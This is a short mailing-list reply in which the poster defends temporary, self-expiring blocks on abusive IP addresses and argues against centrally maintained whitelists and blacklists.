But if you want to, I can certainly share a lot of details on how it works.

Johnny

On 2023-08-15 10:12, Single Stage to Orbit wrote:
> On Thu, 1970-01-01 at 00:00 +0000, bill wrote:
>>> However, yes, there is a "defence" mechanism. If the system detects
>>> a lot of "bad" traffic from an address, it will eventually get
>>> blocked, and the block will only drop once there is no traffic from
>>> that address for a certain amount of time. And of course, if they
>>> start abusing again, they will get blocked again.
>>
>> Why would you ever unblock it?
>
> Many people are on dynamic IPs. These can change often. So unblocking
> after a set period lets legitimate visitors successfully access the
> site.

Indeed!

And which is why I also don't care for these "central"
whitelists/blacklists or similar solutions. It's an ever changing world,
and the systems need to adapt dynamically at any moment in time.

Lists created by someone somewhere is basically too slow, too late, and
usually hurts the wrong people.
(Yes, they catch some bad guys as well, but I do not think a
sledgehammer approach is the correct one when a tap will suffice...)

Johnny